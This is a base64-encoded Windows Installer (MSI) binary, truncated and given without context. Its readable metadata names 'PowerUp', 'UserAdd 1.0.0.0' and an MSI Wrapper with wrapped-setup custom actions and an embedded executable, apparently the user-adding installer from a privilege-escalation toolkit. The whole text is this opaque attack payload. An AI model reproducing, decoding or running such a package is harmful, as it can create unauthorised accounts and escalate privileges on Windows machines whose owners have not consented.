////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAKgBAAAOAAAAAQAAAHgAAAACAAAAkAEAAAMAAACAAQAABAAAAHABAAAFAAAAgAAAAAYAAAAoAQAABwAAAJQAAAAJAAAAqAAAAAwAAADYAAAADQAAAOQAAAAOAAAA8AAAAA8AAAD4AAAAEgAAAAgBAAATAAAAAAEAAAIAAADkBAAAHgAAAAoAAABJbnN0YWxsZXIAAAAeAAAACwAAAEludGVsOzEwMzMAAB4AAAAnAAAAe0EwNDlFMzFGLTc3MDEtNEM0QS1BQ0JDLUIyNjBFQjA4QkI0Q30AAEAAAAAALfR1QTjPAUAAAAAALfR1QTjPAQMAAADIAAAAAwAAAAIAAAADAAAAAgAAAB4AAAAXAAAATVNJIFdyYXBwZXIgKDQuMS41NC4wKQAAHgAAAEAAAABJbnN0YWxsZXIgd3JhcHBlZCBieSBNU0kgV3JhcHBlciAoNC4xLjU0LjApIGZyb20gd3d3LmV4ZW1zaS5jb20AHgAAAAgAAABQb3dlclVwAB4AAAAIAAAAVXNlckFkZAAeAAAAEAAAAFVzZXJBZGQgMS4wLjAuMABBOM8BAwAAAMgAAAADAAAAAgAAAB4AAAArAAAAV2luZG93cyBJbnN0YWxsZXIgWE1MIFRvb2xzZXQgKDMuOC4xMTI4LjApAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYABgAGAAYABgAGAAYACgAKACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAACAAUACwAMAA0ADgAPABAAEQASAAcACQAjACUAJwAjACUAJwAjACUAJwABAC0AJQAvADEANAA3ADoANQBJAEsABAAjAEAAQwBGAAsANAA3AE0ATwBRAFQAVgBdAF8AJwA3AF8AYQBkAGcAaQBrAAEALQAjACUAJwAjACUAJwALACUAQAB4AHoAfAB+AIAABwCCAAEABwBfAIYAiACKADcAawCRAJMAlQCZAJsACAAIABgAGAAYABgAGAAIABgAGAAIAAgACAAYABgACAAYABgACAAYABgACAAIABgACAAYAAgACAAYAAgAGAAIAAgACAAYABgAGAAYABgACAAIABgAGAAYAAgACAAIAAgAGAAIAAgACAAIABgAGAAIAAgACAAYABgACAAYABgACAAIABgACAAIABgAGAAYAAgACAAYABgACAAIAAgACAAIABgACAAYABgAGAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAQAAgAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAEAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////fwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACA/////wAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/AID/fwCAAAAAAAAAAAD//////38AgAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/38AgP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQAAADsAAAA1AAAAAAAAAAAAAAAAAAAANQAAAAAATQAAAAAAAABNAC8AAAAAAC8AAAAAAAAAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAABgAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAGAAAAAAAAAAYABgAAAAAABgAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAABMAEwAfAB8AAAAAAAAAAAATAAAAAAAAABMAJQAAABMAJQAAABMAJQAAABMAKwAlABMAMgATAAAAEwATABMASwAAABMAQQ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ACAIEAAQAJAAIAawABAFEAAQASAAEAEQAFAAgAAgAfAAEACgAGACEAAQAEABQAcwABADkAAQAIAAIACAABAGMAAQAIAAIAJQABAAcAAwBBAAEACAAGAD8AAQB2AAEASgABAAQABQBOYW1lVGFibGVUeXBlQ29sdW1uX1ZhbGlkYXRpb25WYWx1ZU5Qcm9wZXJ0eUlkX1N1bW1hcnlJbmZvcm1hdGlvbkRlc2NyaXB0aW9uU2V0Q2F0ZWdvcnlLZXlDb2x1bW5NYXhWYWx1ZU51bGxhYmxlS2V5VGFibGVNaW5WYWx1ZUlkZW50aWZpZXJOYW1lIG9mIHRhYmxlTmFtZSBvZiBjb2x1bW5ZO05XaGV0aGVyIHRoZSBjb2x1bW4gaXMgbnVsbGFibGVZTWluaW11bSB2YWx1ZSBhbGxvd2VkTWF4aW11bSB2YWx1ZSBhbGxvd2VkRm9yIGZvcmVpZ24ga2V5LCBOYW1lIG9mIHRhYmxlIHRvIHdoaWNoIGRhdGEgbXVzdCBsaW5rQ29sdW1uIHRvIHdoaWNoIGZvcmVpZ24ga2V5IGNvbm5lY3RzVGV4dDtGb3JtYXR0ZWQ7VGVtcGxhdGU7Q29uZGl0aW9uO0d1aWQ7UGF0aDtWZXJzaW9uO0xhbmd1YWdlO0lkZW50aWZpZXI7QmluYXJ5O1VwcGVyQ2FzZTtMb3dlckNhc2U7RmlsZW5hbWU7UGF0aHM7QW55UGF0aDtXaWxkQ2FyZEZpbGVuYW1lO1JlZ1BhdGg7Q3VzdG9tU291cmNlO1Byb3BlcnR5O0NhYmluZXQ7U2hvcnRjdXQ7Rm9ybWF0dGVkU0RETFRleHQ7SW50ZWdlcjtEb3VibGVJbnRlZ2VyO1RpbWVEYXRlO0RlZmF1bHREaXJTdHJpbmcgY2F0ZWdvcnlUZXh0U2V0IG9mIHZhbHVlcyB0aGF0IGFyZSBwZXJtaXR0ZWREZXNjcmlwdGlvbiBvZiBjb2x1bW5BZG1pbkV4ZWN1dGVTZXF1ZW5jZUFjdGlvbk5hbWUgb2YgYWN0aW9uIHRvIGludm9rZSwgZWl0aGVyIGluIHRoZSBlbmdpbmUgb3IgdGhlIGhhbmRsZXIgRExMLkNvbmRpdGlvbk9wdGlvbmFsIGV4cHJlc3Npb24gd2hpY2ggc2tpcHMgdGhlIGFjdGlvbiBpZiBldmFsdWF0ZXMgdG8gZXhwRmFsc2UuSWYgdGhlIGV4cHJlc3Npb24gc3ludGF4IGlzIGludmFsaWQsIHRoZSBlbmdpbmUgd2lsbCB0ZXJtaW5hdGUsIHJldHVybmluZyBpZXNCYWRBY3Rpb25EYXRhLlNlcXVlbmNlTnVtYmVyIHRoYXQgZGV0ZXJtaW5lcyB0aGUgc29ydCBvcmRlciBpbiB3aGljaCB0aGUgYWN0aW9ucyBhcmUgdG8gYmUgZXhlY3V0ZWQuICBMZWF2ZSBibGFuayB0byBzdXBwcmVzcyBhY3Rpb24uQWRtaW5VSVNlcXVlbmNlQWR2dEV4ZWN1dGVTZXF1ZW5jZUJpbmFyeVVuaXF1ZSBrZXkgaWRlbnRpZnlpbmcgdGhlIGJpbmFyeSBkYXRhLkRhdGFUaGUgdW5mb3JtYXR0ZWQgYmluYXJ5IGRhdGEuQ29tcG9uZW50UHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgY29tcG9uZW50IHJlY29yZC5Db21wb25lbnRJZEd1aWRBIHN0cmluZyBHVUlEIHVuaXF1ZSB0byB0aGlzIGNvbXBvbmVudCwgdmVyc2lvbiwgYW5kIGxhbmd1YWdlLkRpcmVjdG9yeV9EaXJlY3RvcnlSZXF1aXJlZCBrZXkgb2YgYSBEaXJlY3RvcnkgdGFibGUgcmVjb3JkLiBUaGlzIGlzIGFjdHVhbGx5IGEgcHJvcGVydHkgbmFtZSB3aG9zZSB2YWx1ZSBjb250YWlucyB0aGUgYWN0dWFsIHBhdGgsIHNldCBlaXRoZXIgYnkgdGhlIEFwcFNlYXJjaCBhY3Rpb24gb3Igd2l0aCB0aGUgZGVmYXVsdCBzZXR0aW5nIG9idGFpbmVkIGZyb20gdGhlIERpcmVjdG9yeSB0YWJsZS5BdHRyaWJ1dGVzUmVtb3RlIGV4ZWN1dGlvbiBvcHRpb24sIG9uZSBvZiBpcnNFbnVtQSBjb25kaXRpb25hbCBzdGF0ZW1lbnQgdGhhdCB3aWxsIGRpc2FibGUgdGhpcyBjb21wb25lbnQgaWYgdGhlIHNwZWNpZmllZCBjb25kaXRpb24gZXZhbHVhdGVzIHRvIHRoZSAnVHJ1ZScgc3RhdGUuIElmIGEgY29tcG9uZW50IGlzIGRpc2FibGVkLCBpdCB3aWxsIG5vdCBiZSBpbnN0YWxsZWQsIHJlZ2FyZGxlc3Mgb2YgdGhlICdBY3Rpb24nIHN0YXRlIGFzc29jaWF0ZWQgd2l0aCB0aGUgY29tcG9uZW50LktleVBhdGhGaWxlO1JlZ2lzdHJ5O09EQkNEYXRhU291cmNlRWl0aGVyIHRoZSBwcmltYXJ5IGtleSBpbnRvIHRoZSBGaWxlIHRhYmxlLCBSZWdpc3RyeSB0YWJsZSwgb3IgT0RCQ0RhdGFTb3VyY2UgdGFibGUuIFRoaXMgZXh0cmFjdCBwYXRoIGlzIHN0b3JlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgaW5zdGFsbGVkLCBhbmQgaXMgdXNlZCB0byBkZXRlY3QgdGhlIHByZXNlbmNlIG9mIHRoZSBjb21wb25lbnQgYW5kIHRvIHJldHVybiB0aGUgcGF0aCB0byBpdC5DdXN0b21BY3Rpb25QcmltYXJ5IGtleSwgbmFtZSBvZiBhY3Rpb24sIG5vcm1hbGx5IGFwcGVhcnMgaW4gc2VxdWVuY2UgdGFibGUgdW5sZXNzIHByaXZhdGUgdXNlLlRoZSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSwgY29uc2lzdGluZyBvZiBzb3VyY2UgbG9jYXRpb24sIGNvZGUgdHlwZSwgZW50cnksIG9wdGlvbiBmbGFncy5Tb3VyY2VDdXN0b21Tb3VyY2VUaGUgdGFibGUgcmVmZXJlbmNlIG9mIHRoZSBzb3VyY2Ugb2YgdGhlIGNvZGUuVGFyZ2V0Rm9ybWF0dGVkRXhjZWN1dGlvbiBwYXJhbWV0ZXIsIGRlcGVuZHMgb24gdGhlIHR5cGUgb2YgY3VzdG9tIGFjdGlvbkV4dGVuZGVkVHlwZUEgbnVtZXJpYyBjdXN0b20gYWN0aW9uIHR5cGUgdGhhdCBleHRlbmRzIGNvZGUgdHlwZSBvciBvcHRpb24gZmxhZ3Mgb2YgdGhlIFR5cGUgY29sdW1uLlVuaXF1ZSBpZGVudGlmaWVyIGZvciBkaXJlY3RvcnkgZW50cnksIHByaW1hcnkga2V5LiBJZiBhIHByb3BlcnR5IGJ5IHRoaXMgbmFtZSBpcyBkZWZpbmVkLCBpdCBjb250YWlucyB0aGUgZnVsbCBwYXRoIHRvIHRoZSBkaXJlY3RvcnkuRGlyZWN0b3J5X1BhcmVudFJlZmVyZW5jZSB0byB0aGUgZW50cnkgaW4gdGhpcyB0YWJsZSBzcGVjaWZ5aW5nIHRoZSBkZWZhdWx0IHBhcmVudCBkaXJlY3RvcnkuIEEgcmVjb3JkIHBhcmVudGVkIHRvIGl0c2VsZiBvciB3aXRoIGEgTnVsbCBwYXJlbnQgcmVwcmVzZW50cyBhIHJvb3Qgb2YgdGhlIGluc3RhbGwgdHJlZS5EZWZhdWx0RGlyVGhlIGRlZmF1bHQgc3ViLXBhdGggdW5kZXIgcGFyZW50J3MgcGF0aC5GZWF0dXJlUHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgZmVhdHVyZSByZWNvcmQuRmVhdHVyZV9QYXJlbnRPcHRpb25hbCBrZXkgb2YgYSBwYXJlbnQgcmVjb3JkIGluIHRoZSBzYW1lIHRhYmxlLiBJZiB0aGUgcGFyZW50IGlzIG5vdCBzZWxlY3RlZCwgdGhlbiB0aGUgcmVjb3JkIHdpbGwgbm90IGJlIGluc3RhbGxlZC4gTnVsbCBpbmRpY2F0ZXMgYSByb290IGl0ZW0uVGl0bGVTaG9ydCB0ZXh0IGlkZW50aWZ5aW5nIGEgdmlzaWJsZSBmZWF0dXJlIGl0ZW0uTG9uZ2VyIGRlc2NyaXB0aXZlIHRleHQgZGVzY3JpYmluZyBhIHZpc2libGUgZmVhdHVyZSBpdGVtLkRpc3BsYXlOdW1lcmljIHNvcnQgb3JkZXIsIHVzZWQgdG8gZm9yY2UgYSBzcGVjaWZpYyBkaXNwbGF5IG9yZGVyaW5nLkxldmVsVGhlIGluc3RhbGwgbGV2ZWwgYXQgd2hpY2ggcmVjb3JkIHdpbGwgYmUgaW5pdGlhbGx5IHNlbGVjdGVkLiBBbiBpbnN0YWxsIGxldmVsIG9mIDAgd2lsbCBkaXNhYmxlIGFuIGl0ZW0gYW5kIHByZXZlbnQgaXRzIGRpc3BsYXkuVXBwZXJDYXNlVGhlIG5hbWUgb2YgdGhlIERpcmVjdG9yeSB0aGF0IGNhbiBiZSBjb25maWd1cmVkIGJ5IHRoZSBVSS4gQSBub24tbnVsbCB2YWx1ZSB3aWxsIGVuYWJsZSB0aGUgYnJvd3NlIGJ1dHRvbi4wOzE7Mjs0OzU7Njs4Ozk7MTA7MTY7MTc7MTg7MjA7MjE7MjI7MjQ7MjU7MjY7MzI7MzM7MzQ7MzY7Mzc7Mzg7NDg7NDk7NTA7NTI7NTM7NTRGZWF0dXJlIGF0dHJpYnV0ZXNGZWF0dXJlQ29tcG9uZW50c0ZlYXR1cmVfRm9yZWlnbiBrZXkgaW50byBGZWF0dXJlIHRhYmxlLkNvbXBvbmVudF9Gb3JlaWduIGtleSBpbnRvIENvbXBvbmVudCB0YWJsZS5GaWxlUHJpbWFyeSBrZXksIG5vbi1sb2NhbGl6ZWQgdG9rZW4sIG11c3QgbWF0Y2ggaWRlbnRpZmllciBpbiBjYWJpbmV0LiAgRm9yIHVuY29tcHJlc3NlZCBmaWxlcywgdGhpcyBmaWVsZCBpcyBpZ25vcmVkLkZvcmVpZ24ga2V5IHJlZmVyZW5jaW5nIENvbXBvbmVudCB0aGF0IGNvbnRyb2xzIHRoZSBmaWxlLkZpbGVOYW1lRmlsZW5hbWVGaWxlIG5hbWUgdXNlZCBmb3IgaW5zdGFsbGF0aW9uLCBtYXkgYmUgbG9jYWxpemVkLiAgVGhpcyBtYXkgY29udGFpbiBhICJzaG9ydCBuYW1lfGxvbmcgbmFtZSIgcGFpci5GaWxlU2l6ZVNpemUgb2YgZmlsZSBpbiBieXRlcyAobG9uZyBpbnRlZ2VyKS5WZXJzaW9uVmVyc2lvbiBzdHJpbmcgZm9yIHZlcnNpb25lZCBmaWxlczsgIEJsYW5rIGZvciB1bnZlcnNpb25lZCBmaWxlcy5MYW5ndWFnZUxpc3Qgb2YgZGVjaW1hbCBsYW5ndWFnZSBJZHMsIGNvbW1hLXNlcGFyYXRlZCBpZiBtb3JlIHRoYW4gb25lLkludGVnZXIgY29udGFpbmluZyBiaXQgZmxhZ3MgcmVwcmVzZW50aW5nIGZpbGUgYXR0cmlidXRlcyAod2l0aCB0aGUgZGVjaW1hbCB2YWx1ZSBvZiBlYWNoIGJpdCBwb3NpdGlvbiBpbiBwYXJlbnRoZXNlcylTZXF1ZW5jZSB3aXRoIHJlc3BlY3QgdG8gdGhlIG1lZGlhIGltYWdlczsgb3JkZXIgbXVzdCB0cmFjayBjYWJpbmV0IG9yZGVyLkljb25QcmltYXJ5IGtleS4gTmFtZSBvZiB0aGUgaWNvbiBmaWxlLkJpbmFyeSBzdHJlYW0uIFRoZSBiaW5hcnkgaWNvbiBkYXRhIGluIFBFICguRExMIG9yIC5FWEUpIG9yIGljb24gKC5JQ08pIGZvcm1hdC5JbnN0YWxsRXhlY3V0ZVNlcXVlbmNlSW5zdGFsbFVJU2VxdWVuY2VMYXVuY2hDb25kaXRpb25FeHByZXNzaW9uIHdoaWNoIG11c3QgZXZhbHVhdGUgdG8gVFJVRSBpbiBvcmRlciBmb3IgaW5zdGFsbCB0byBjb21tZW5jZS5Mb2NhbGl6YWJsZSB0ZXh0IHRvIGRpc3BsYXkgd2hlbiBjb25kaXRpb24gZmFpbHMgYW5kIGluc3RhbGwgbXVzdCBhYm9ydC5NZWRpYURpc2tJZFByaW1hcnkga2V5LCBpbnRlZ2VyIHRvIGRldGVybWluZSBzb3J0IG9yZGVyIGZvciB0YWJsZS5MYXN0U2VxdWVuY2VGaWxlIHNlcXVlbmNlIG51bWJlciBmb3IgdGhlIGxhc3QgZmlsZSBmb3IgdGhpcyBtZWRpYS5EaXNrUHJvbXB0RGlzayBuYW1lOiB0aGUgdmlzaWJsZSB0ZXh0IGFjdHVhbGx5IHByaW50ZWQgb24gdGhlIGRpc2suICBUaGlzIHdpbGwgYmUgdXNlZCB0byBwcm9tcHQgdGhlIHVzZXIgd2hlbiB0aGlzIGRpc2sgbmVlZHMgdG8gYmUgaW5zZXJ0ZWQuQ2FiaW5ldElmIHNvbWUgb3IgYWxsIG9mIHRoZSBmaWxlcyBzdG9yZWQgb24gdGhlIG1lZGlhIGFyZSBjb21wcmVzc2VkIGluIGEgY2FiaW5ldCwgdGhlIG5hbWUgb2YgdGhhdCBjYWJpbmV0LlZvbHVtZUxhYmVsVGhlIGxhYmVsIGF0dHJpYnV0ZWQgdG8gdGhlIHZvbHVtZS5Qcm9wZXJ0eVRoZSBwcm9wZXJ0eSBkZWZpbmluZyB0aGUgbG9jYXRpb24gb2YgdGhlIGNhYmluZXQgZmlsZS5OYW1lIG9mIHByb3BlcnR5LCB1cHBlcmNhc2UgaWYgc2V0dGFibGUgYnkgbGF1bmNoZXIgb3IgbG9hZGVyLlN0cmluZyB2YWx1ZSBmb3IgcHJvcGVydHkuICBOZXZlciBudWxsIG9yIGVtcHR5LlJlZ2lzdHJ5UHJpbWFyeSBrZXksIG5vbi1sb2NhbGl6ZWQgdG9rZW4uUm9vdFRoZSBwcmVkZWZpbmVkIHJvb3Qga2V5IGZvciB0aGUgcmVnaXN0cnkgdmFsdWUsIG9uZSBvZiBycmtFbnVtLktleVJlZ1BhdGhUaGUga2V5IGZvciB0aGUgcmVnaXN0cnkgdmFsdWUuVGhlIHJlZ2lzdHJ5IHZhbHVlIG5hbWUuVGhlIHJlZ2lzdHJ5IHZhbHVlLkZvcmVpZ24ga2V5IGludG8gdGhlIENvbXBvbmVudCB0YWJsZSByZWZlcmVuY2luZyBjb21wb25lbnQgdGhhdCBjb250cm9scyB0aGUgaW5zdGFsbGluZyBvZiB0aGUgcmVnaXN0cnkgdmFsdWUuVXBncmFkZVVwZ3JhZGVDb2RlVGhlIFVwZ3JhZGVDb2RlIEdVSUQgYmVsb25naW5nIHRvIHRoZSBwcm9kdWN0cyBpbiB0aGlzIHNldC5WZXJzaW9uTWluVGhlIG1pbmltdW0gUHJvZHVjdFZlcnNpb24gb2YgdGhlIHByb2R1Y3RzIGluIHRoaXMgc2V0LiAgVGhlIHNldCBtYXkgb3IgbWF5IG5vdCBpbmNsdWRlIHByb2R1Y3RzIHdpdGggdGhpcyBwYXJ0aWN1bGFyIHZlcnNpb24uVmVyc2lvbk1heFRoZSBtYXhpbXVtIFByb2R1Y3RWZXJzaW9uIG9mIHRoZSBwcm9kdWN0cyBpbiB0aGlzIHNldC4gIFRoZSBzZXQgbWF5IG9yIG1heSBub3QgaW5jbHVkZSBwcm9kdWN0cyB3aXRoIHRoaXMgcGFydGljdWxhciB2ZXJzaW9uLkEgY29tbWEtc2VwYXJhdGVkIGxpc3Qgb2YgbGFuZ3VhZ2VzIGZvciBlaXRoZXIgcHJvZHVjdHMgaW4gdGhpcyBzZXQgb3IgcHJvZHVjdHMgbm90IGluIHRoaXMgc2V0LlRoZSBhdHRyaWJ1dGVzIG9mIHRoaXMgcHJvZHVjdCBzZXQuUmVtb3ZlVGhlIGxpc3Qgb2YgZmVhdHVyZXMgdG8gcmVtb3ZlIHdoZW4gdW5pbnN0YWxsaW5nIGEgcHJvZHVjdCBmcm9tIHRoaXMgc2V0LiAgVGhlIGRlZmF1bHQgaXMgIkFMTCIuQWN0aW9uUHJvcGVydHlUaGUgcHJvcGVydHkgdG8gc2V0IHdoZW4gYSBwcm9kdWN0IGluIHRoaXMgc2V0IGlzIGZvdW5kLkNvc3RJbml0aWFsaXplRmlsZUNvc3RDb3N0RmluYWxpemVJbnN0YWxsVmFsaWRhdGVJbnN0YWxsSW5pdGlhbGl6ZUluc3RhbGxBZG1pblBhY2thZ2VJbnN0YWxsRmlsZXNJbnN0YWxsRmluYWxpemVFeGVjdXRlQWN0aW9uUHVibGlzaEZlYXR1cmVzUHVibGlzaFByb2R1Y3Riei5XcmFwcGVkU2V0dXBQcm9ncmFtYnouQ3VzdG9tQWN0aW9uRGxsYnouUHJvZHVjdENvbXBvbmVudHtFREUxMEY2Qy0zMEY0LTQyQ0EtQjVDNy1BREI5MDVFNDVCRkN9QlouSU5TVEFMTEZPTERFUnJlZzlDQUU1N0FGN0I5RkI0RUYyNzA2Rjk1QjRCODNCNDE5U2V0UHJvcGVydHlGb3JEZWZlcnJlZGJ6Lk1vZGlmeVJlZ2lzdHJ5W0JaLldSQVBQRURfQVBQSURdYnouU3Vic3RXcmFwcGVkQXJndW1lbnRzX1N1YnN0V3JhcHBlZEFyZ3VtZW50c0A0YnouUnVuV3JhcHBlZFNldHVwW2J6LlNldHVwU2l6ZV0gIltTb3VyY2VEaXJdXC4iIFtCWi5JTlNUQUxMX1NVQ0NFU1NfQ09ERVNdICpbQlouRklYRURfSU5TVEFMTF9BUkdVTUVOVFNdW1dSQVBQRURfQVJHVU1FTlRTXV9Nb2RpZnlSZWdpc3RyeUA0YnouVW5pbnN0YWxsV3JhcHBlZF9Vbmluc3RhbGxXcmFwcGVkQDRQcm9ncmFtRmlsZXNGb2xkZXJieGp2aWx3N3xbQlouQ09NUEFOWU5BTUVdVEFSR0VURElSLlNvdXJjZURpclByb2R1Y3RGZWF0dXJlTWFpbiBGZWF0dXJlRmluZFJlbGF0ZWRQcm9kdWN0c0xhdW5jaENvbmRpdGlvbnNWYWxpZGF0ZVByb2R1Y3RJRE1pZ3JhdGVGZWF0dXJlU3RhdGVzUHJvY2Vzc0NvbXBvbmVudHNVbnB1Ymxpc2hGZWF0dXJlc1JlbW92ZVJlZ2lzdHJ5VmFsdWVzV3JpdGVSZWdpc3RyeVZhbHVlc1JlZ2lzdGVyVXNlclJlZ2lzdGVyUHJvZHVjdFJlbW92ZUV4aXN0aW5nUHJvZHVjdHNOT1QgUkVNT1ZFIH49IkFMTCIgQU5EIE5PVCBVUEdSQURFUFJPRFVDVENPREVSRU1PVkUgfj0gIkFMTCIgQU5EIE5PVCBVUEdSQURJTkdQUk9EVUNUQ09ERU5PVCBXSVhfRE9XTkdSQURFX0RFVEVDVEVERG93bmdyYWRlcyBhcmUgbm90IGFsbG93ZWQuQUxMVVNFUlMxQVJQTk9SRVBBSVJBUlBOT01PRElGWUJaLlZFUkZCWi5DT01QQU5ZTkFNRUVYRU1TSS5DT01CWi5JTlNUQUxMX1NVQ0NFU1NfQ09ERVMwQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9B